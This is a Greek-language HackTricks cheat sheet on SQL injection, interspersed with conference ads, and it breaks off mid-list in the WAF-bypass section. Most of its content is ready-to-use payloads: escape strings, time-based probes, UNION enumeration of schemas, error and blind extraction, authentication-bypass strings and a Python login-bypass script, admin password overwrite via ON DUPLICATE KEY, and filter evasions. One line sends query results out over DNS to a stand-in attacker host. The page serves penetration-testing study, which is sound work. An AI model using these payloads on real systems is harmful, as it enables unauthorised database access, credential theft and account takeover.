# SQL Injection {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
​​​​[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε τομέα. {% embed url="https://www.rootedcon.com/" %} ## Τι είναι η SQL injection; Μια **SQL injection** είναι μια αδυναμία ασφαλείας που επιτρέπει στους επιτιθέμενους να **παρεμβαίνουν σε ερωτήματα βάσης δεδομένων** μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει στους επιτιθέμενους να **δουν**, **τροποποιήσουν** ή **διαγράψουν** δεδομένα που δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιοδήποτε δεδομένων μπορεί να έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής ή ακόμη και σε παραβίαση του διακομιστή ή άρνηση υπηρεσίας. ## Ανίχνευση σημείου εισόδου Όταν μια ιστοσελίδα φαίνεται να είναι **ευάλωτη σε SQL injection (SQLi)** λόγω ασυνήθιστων απαντήσεων του διακομιστή σε εισόδους σχετικές με SQLi, το **πρώτο βήμα** είναι να κατανοήσουμε πώς να **εισάγουμε δεδομένα στην ερώτηση χωρίς να την διαταράξουμε**. Αυτό απαιτεί την αναγνώριση της μεθόδου για **να ξεφύγουμε από το τρέχον πλαίσιο** αποτελεσματικά. Αυτά είναι μερικά χρήσιμα παραδείγματα: ``` [Nothing] ' " ` ') ") `) ')) ")) `)) ``` Τότε, πρέπει να ξέρετε πώς να **διορθώσετε το ερώτημα ώστε να μην υπάρχουν σφάλματα**. Για να διορθώσετε το ερώτημα μπορείτε να **εισάγετε** δεδομένα ώστε το **προηγούμενο ερώτημα να αποδεχτεί τα νέα δεδομένα**, ή μπορείτε απλά να **εισάγετε** τα δεδομένα σας και να **προσθέσετε ένα σύμβολο σχολίου στο τέλος**. _Σημειώστε ότι αν μπορείτε να δείτε μηνύματα σφάλματος ή μπορείτε να εντοπίσετε διαφορές όταν ένα ερώτημα λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη._ ### **Σχόλια** ```sql MySQL #comment -- comment [Note the space after the double dash] /*comment*/ /*! MYSQL Special SQL */ PostgreSQL --comment /*comment*/ MSQL --comment /*comment*/ Oracle --comment SQLite --comment /*comment*/ HQL HQL does not support comments ``` ### Επιβεβαίωση με λογικές λειτουργίες Μια αξιόπιστη μέθοδος για την επιβεβαίωση μιας ευπάθειας SQL injection περιλαμβάνει την εκτέλεση μιας **λογικής λειτουργίας** και την παρατήρηση των αναμενόμενων αποτελεσμάτων. Για παράδειγμα, μια παράμετρος GET όπως `?username=Peter` που αποδίδει ταυτόσημο περιεχόμενο όταν τροποποιηθεί σε `?username=Peter' or '1'='1` υποδεικνύει μια ευπάθεια SQL injection. Ομοίως, η εφαρμογή **μαθηματικών λειτουργιών** χρησιμεύει ως μια αποτελεσματική τεχνική επιβεβαίωσης. Για παράδειγμα, αν η πρόσβαση σε `?id=1` και `?id=2-1` παράγει το ίδιο αποτέλεσμα, αυτό είναι ενδεικτικό SQL injection. Παραδείγματα που δείχνουν την επιβεβαίωση λογικών λειτουργιών: ``` page.asp?id=1 or 1=1 -- results in true page.asp?id=1' or 1=1 -- results in true page.asp?id=1" or 1=1 -- results in true page.asp?id=1 and 1=2 -- results in false ``` Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να **επιβεβαιώσει SQLinjections** με τον προτεινόμενο τρόπο: {% file src="../../.gitbook/assets/sqli-logic.txt" %} ### Επιβεβαίωση με Χρόνο Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε τυφλές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\ Επομένως, θα συνδυάσουμε στην SQL ερώτηση μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί: ``` MySQL (string concat and logical ops) 1' + sleep(10) 1' and sleep(10) 1' && sleep(10) 1' | sleep(10) PostgreSQL (only support string concat) 1' || pg_sleep(10) MSQL 1' WAITFOR DELAY '0:0:10' Oracle 1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10) SQLite 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) ``` Σε ορισμένες περιπτώσεις οι **λειτουργίες ύπνου δεν θα επιτρέπονται**. Τότε, αντί να χρησιμοποιήσετε αυτές τις λειτουργίες, μπορείτε να κάνετε το ερώτημα **να εκτελεί σύνθετες λειτουργίες** που θα διαρκέσουν αρκετά δευτερόλεπτα. _Παραδείγματα αυτών των τεχνικών θα σχολιαστούν ξεχωριστά για κάθε τεχνολογία (αν υπάρχουν)_. ### Αναγνώριση Back-end Ο καλύτερος τρόπος για να αναγνωρίσετε το back-end είναι να προσπαθήσετε να εκτελέσετε λειτουργίες των διαφόρων back-end. Μπορείτε να χρησιμοποιήσετε τις _**λειτουργίες ύπνου**_ **της προηγούμενης ενότητας** ή αυτές (πίνακας από [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification): ```bash ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"], ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"], ["@@CONNECTIONS>0" ,"MSSQL"], ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"], ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"], ["USER_ID(1)=USER_ID(1)" ,"MSSQL"], ["ROWNUM=ROWNUM" ,"ORACLE"], ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"], ["LNNVL(0=123)" ,"ORACLE"], ["5::int=5" ,"POSTGRESQL"], ["5::integer=5" ,"POSTGRESQL"], ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"], ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"], ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"], ["current_database()=current_database()" ,"POSTGRESQL"], ["sqlite_version()=sqlite_version()" ,"SQLITE"], ["last_insert_rowid()>1" ,"SQLITE"], ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"], ["val(cvar(1))=1" ,"MSACCESS"], ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"], ["cdbl(1)=cdbl(1)" ,"MSACCESS"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, θα μπορούσατε να κάνετε **εκτύπωση της έκδοσης της βάσης δεδομένων**. {% hint style="info" %} Σε αυτή τη συνέχεια, θα συζητήσουμε διάφορες μεθόδους για την εκμετάλλευση διαφορετικών τύπων SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα. {% endhint %} ### Αναγνώριση με PortSwigger {% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %} ## Εκμετάλλευση Βασισμένη σε Union ### Ανίχνευση αριθμού στηλών Αν μπορείτε να δείτε την έξοδο του ερωτήματος, αυτή είναι η καλύτερη μέθοδος για να το εκμεταλλευτείτε.\ Πρώτα απ' όλα, πρέπει να ανακαλύψουμε τον **αριθμό** των **στηλών** που επιστρέφει το **αρχικό αίτημα**. Αυτό συμβαίνει επειδή **και τα δύο ερωτήματα πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών**.\ Δύο μέθοδοι χρησιμοποιούνται συνήθως για αυτόν τον σκοπό: #### Order/Group by Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διακριτές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος. ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True 1' ORDER BY 3--+ #True 1' ORDER BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` ```sql 1' GROUP BY 1--+ #True 1' GROUP BY 2--+ #True 1' GROUP BY 3--+ #True 1' GROUP BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` #### UNION SELECT Επιλέξτε περισσότερες και περισσότερες τιμές null μέχρι η ερώτηση να είναι σωστή: ```sql 1' UNION SELECT null-- - Not working 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked ``` _Πρέπει να χρησιμοποιείτε `null` τιμές καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._ ### Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών Στα επόμενα παραδείγματα θα ανακτήσουμε το όνομα όλων των βάσεων δεδομένων, το όνομα του πίνακα μιας βάσης δεδομένων, τα ονόματα των στηλών του πίνακα: ```sql #Database names -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata #Tables of a database -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] #Column names -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] ``` _Υπάρχει ένας διαφορετικός τρόπος για να ανακαλύψετε αυτά τα δεδομένα σε κάθε διαφορετική βάση δεδομένων, αλλά η μεθοδολογία είναι πάντα η ίδια._ ## Exploiting Hidden Union Based Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε ένωση φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε ένωση**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατραπεί μια τυφλή ένεση σε μια βασισμένη σε ένωση, πρέπει να διακριθεί το εκτελούμενο ερώτημα στο backend. Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το Σύστημα Διαχείρισης Βάσεων Δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου. Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας για να κλείσετε με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα ένωσης στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε ένωση. Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στο πλήρες άρθρο που είναι διαθέσιμο στο [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). ## Exploiting Error based Εάν για κάποιο λόγο **δεν μπορείτε** να δείτε την **έξοδο** του **ερωτήματος** αλλά μπορείτε να **δείτε τα μηνύματα σφάλματος**, μπορείτε να κάνετε αυτά τα μηνύματα σφάλματος να **εξάγουν** δεδομένα από τη βάση δεδομένων.\ Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση βασισμένη σε ένωση, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων. ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` ## Exploiting Blind SQLi Σε αυτή την περίπτωση δεν μπορείτε να δείτε τα αποτελέσματα του ερωτήματος ή τα σφάλματα, αλλά μπορείτε να **διακρίνετε** πότε το ερώτημα **επιστρέφει** μια **αληθινή** ή μια **ψευδή** απάντηση επειδή υπάρχουν διαφορετικά περιεχόμενα στη σελίδα.\ Σε αυτή την περίπτωση, μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να εξάγετε τη βάση δεδομένων χαρακτήρα προς χαρακτήρα: ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` ## Exploiting Error Blind SQLi Αυτή είναι η **ίδια περίπτωση όπως πριν** αλλά αντί να διακρίνετε μεταξύ μιας αληθινής/ψευδούς απάντησης από το ερώτημα μπορείτε να **διακρίνετε μεταξύ** ενός **σφάλματος** στο SQL ερώτημα ή όχι (ίσως επειδή ο HTTP server καταρρέει). Επομένως, σε αυτή την περίπτωση μπορείτε να προκαλέσετε ένα SQLerror κάθε φορά που μαντεύετε σωστά τον χαρακτήρα: ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` ## Εκμετάλλευση Χρόνου Βασισμένη SQLi Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνουμε** την **απάντηση** του ερωτήματος με βάση το περιεχόμενο της σελίδας. Αλλά, μπορείτε να κάνετε τη σελίδα **να χρειάζεται περισσότερο χρόνο για να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση πριν για να [επιβεβαιώσουμε μια ευπάθεια SQLi](./#confirming-with-timing). ```sql 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` ## Stacked Queries Μπορείτε να χρησιμοποιήσετε τις στοίβες ερωτημάτων για να **εκτελέσετε πολλαπλά ερωτήματα διαδοχικά**. Σημειώστε ότι ενώ τα επόμενα ερωτήματα εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με **τυφλές ευπάθειες** όπου μπορείτε να χρησιμοποιήσετε ένα δεύτερο ερώτημα για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή καθυστέρηση χρόνου. **Oracle** δεν υποστηρίζει **στοιβαγμένα ερωτήματα.** **MySQL, Microsoft** και **PostgreSQL** τα υποστηρίζουν: `QUERY-1-HERE; QUERY-2-HERE` ## Out of band Exploitation Αν **κανένας άλλος** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να προσπαθήσετε να κάνετε τη **βάση δεδομένων να εξάγει** τις πληροφορίες σε έναν **εξωτερικό διακομιστή** που ελέγχετε εσείς. Για παράδειγμα, μέσω ερωτημάτων DNS: ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` ### Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE ```sql a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- - ``` ## Αυτοματοποιημένη Εκμετάλλευση Δείτε το [SQLMap Cheetsheat](sqlmap/) για να εκμεταλλευτείτε μια ευπάθεια SQLi με [**sqlmap**](https://github.com/sqlmapproject/sqlmap). ## Τεχνικές συγκεκριμένες πληροφορίες Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε μερικά ακόμα κόλπα που εξαρτώνται από την τεχνολογία βάσης δεδομένων σε αυτό το βιβλίο: * [MS Access](ms-access-sql-injection.md) * [MSSQL](mssql-injection.md) * [MySQL](mysql-injection/) * [Oracle](oracle-injection.md) * [PostgreSQL](postgresql-injection/) Ή θα βρείτε **πολλά κόλπα σχετικά με: MySQL, PostgreSQL, Oracle, MSSQL, SQLite και HQL σε** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
​​​​​[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία. {% embed url="https://www.rootedcon.com/" %} ## Παράκαμψη αυθεντικοποίησης Λίστα για να προσπαθήσετε να παρακάμψετε τη λειτουργία σύνδεσης: {% content-ref url="../login-bypass/sql-login-bypass.md" %} [sql-login-bypass.md](../login-bypass/sql-login-bypass.md) {% endcontent-ref %} ### Παράκαμψη αυθεντικοποίησης με ακατέργαστο hash ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` Αυτό το ερώτημα επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν απροσδόκητα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση. ```sql md5("ffifdyop", true) = 'or'6�]��!r,��b� sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! ``` ### Παράκαμψη αυθεντικοποίησης με εισαγόμενο hash ```sql admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' ``` **Συνιστώμενη λίστα**: Πρέπει να χρησιμοποιείτε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πάντα: _**Pass1234.**_\ _(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)_ {% file src="../../.gitbook/assets/sqli-hashbypass.txt" %} ### GBK Authentication Bypass ΑΝ το ' διαφεύγει μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφύγει θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_) ```sql %A8%27 OR 1=1;-- 2 %8C%A8%27 OR 1=1-- 2 %bf' or 1=1 -- -- ``` Python script: ```python import requests url = "http://example.com/index.php" cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) print r.text ``` ### Πολυγλωσσική ένεση (πολυδιάστατη) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ## Insert Statement ### Modify password of existing object/user Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να **δημιουργήσετε ένα νέο αντικείμενο με το όνομα του "κύριου αντικειμένου"** (πιθανώς **admin** στην περίπτωση χρηστών) τροποποιώντας κάτι: * Δημιουργήστε χρήστη με όνομα: **AdMIn** (κεφαλαία & πεζά γράμματα) * Δημιουργήστε έναν χρήστη με όνομα: **admin=** * **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή το email) --> Δημιουργήστε χρήστη με όνομα: **admin \[πολλές κενές θέσεις] a** #### SQL Truncation Attack Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη **admin**, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "_admin \[30 κενές θέσεις] a_" και οποιοδήποτε κωδικό πρόσβασης. Η βάση δεδομένων θα **ελέγξει** αν το εισαγόμενο **όνομα χρήστη** **υπάρχει** μέσα στη βάση δεδομένων. Εάν **όχι**, θα **κόψει** το **όνομα χρήστη** στο **μέγιστο επιτρεπόμενο αριθμό χαρακτήρων** (σε αυτή την περίπτωση σε: "_admin \[25 κενές θέσεις]_") και στη συνέχεια θα **αφαιρέσει αυτόματα όλες τις κενές θέσεις στο τέλος ενημερώνοντας** μέσα στη βάση δεδομένων τον χρήστη "**admin**" με τον **νέο κωδικό πρόσβασης** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει). Περισσότερες πληροφορίες: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) _Σημείωση: Αυτή η επίθεση δεν θα λειτουργεί πλέον όπως περιγράφεται παραπάνω στις τελευταίες εγκαταστάσεις MySQL. Ενώ οι συγκρίσεις εξακολουθούν να αγνοούν τα κενά στο τέλος από προεπιλογή, η προσπάθεια εισαγωγής μιας συμβολοσειράς που είναι μεγαλύτερη από το μήκος ενός πεδίου θα έχει ως αποτέλεσμα ένα σφάλμα, και η εισαγωγή θα αποτύχει. Για περισσότερες πληροφορίες σχετικά με αυτό, ελέγξτε: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_ ### MySQL Insert time based checking Προσθέστε όσες `','',''` θεωρείτε ότι χρειάζεστε για να βγείτε από τη δήλωση VALUES. Εάν εκτελείται καθυστέρηση, έχετε μια SQLInjection. ```sql name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` ### ON DUPLICATE KEY UPDATE Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή: Example Payload Injection: Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου επιχειρείται η εισαγωγή δύο γραμμών στον πίνακα `users`. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το υπάρχον email ενός διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης: ```sql INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; ``` Here's how it works: - Το ερώτημα προσπαθεί να εισάγει δύο γραμμές: μία για `generic_user@example.com` και μία άλλη για `admin_generic@example.com`. - Αν η γραμμή για `admin_generic@example.com` υπάρχει ήδη, η ρήτρα `ON DUPLICATE KEY UPDATE` ενεργοποιείται, δίνοντας εντολή στο MySQL να ενημερώσει το πεδίο `password` της υπάρχουσας γραμμής σε "bcrypt_hash_of_newpassword". - Κατά συνέπεια, η αυθεντικοποίηση μπορεί στη συνέχεια να επιχειρηθεί χρησιμοποιώντας `admin_generic@example.com` με τον κωδικό πρόσβασης που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού πρόσβασης, το οποίο θα πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού πρόσβασης). ### Extract information #### Creating 2 accounts at the same time When trying to create a new user and username, password and email are needed: ``` SQLi payload: username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - A new user with username=otherUsername, password=otherPassword, email:FLAG will be created ``` #### Χρησιμοποιώντας δεκαδικό ή δεκαεξαδικό Με αυτή την τεχνική μπορείτε να εξάγετε πληροφορίες δημιουργώντας μόνο 1 λογαριασμό. Είναι σημαντικό να σημειωθεί ότι δεν χρειάζεται να σχολιάσετε τίποτα. Χρησιμοποιώντας **hex2dec** και **substr**: ```sql '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` Για να αποκτήσετε το κείμενο μπορείτε να χρησιμοποιήσετε: ```python __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` Χρησιμοποιώντας **hex** και **replace** (και **substr**): ```sql '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' '+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' #Full ascii uppercase and lowercase replace: '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ```
​​​​​​[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **την αποστολή της προώθησης της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία. {% embed url="https://www.rootedcon.com/" %} ## Routed SQL injection Routed SQL injection είναι μια κατάσταση όπου το ερωτηματολόγιο που μπορεί να εισαχθεί δεν είναι αυτό που δίνει έξοδο, αλλά η έξοδος του ερωτηματολογίου που μπορεί να εισαχθεί πηγαίνει στο ερωτηματολόγιο που δίνει έξοδο. ([Από Έγγραφο](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) Example: ``` #Hex of: -1' union select login,password from users-- a -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a ``` ## WAF Bypass [Αρχικές παρακάμψεις από εδώ](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) ### No spaces bypass No Space (%20) - παρακάμψη χρησιμοποιώντας εναλλακτικές κενές θέσεις ```sql ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- ?id=1%0Cand%0C1=1%0C-- ?id=1%0Band%0B1=1%0B-- ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` No Whitespace - παράκαμψη χρησιμοποιώντας σχόλια ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` No Whitespace - παράκαμψη χρησιμοποιώντας παρενθέσεις ```sql ?id=(1)and(1)=(1)-- ``` ### No commas bypass No Comma - παράκαμψη χρησιμοποιώντας OFFSET, FROM και JOIN ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` ### Generic Bypasses Λίστα αποκλεισμού χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` Blacklist χρησιμοποιώντας λέξεις-κλειδιά χωρίς διάκριση πεζών-κεφαλαίων - παράκαμψη χρησιμοποιώντας έναν ισοδύναμο τελεστή ``` AND -> && -> %26%26 OR -> || -> %7C%7C = -> LIKE,REGEXP,RLIKE, not < and not > > X -> not between 0 and X WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> 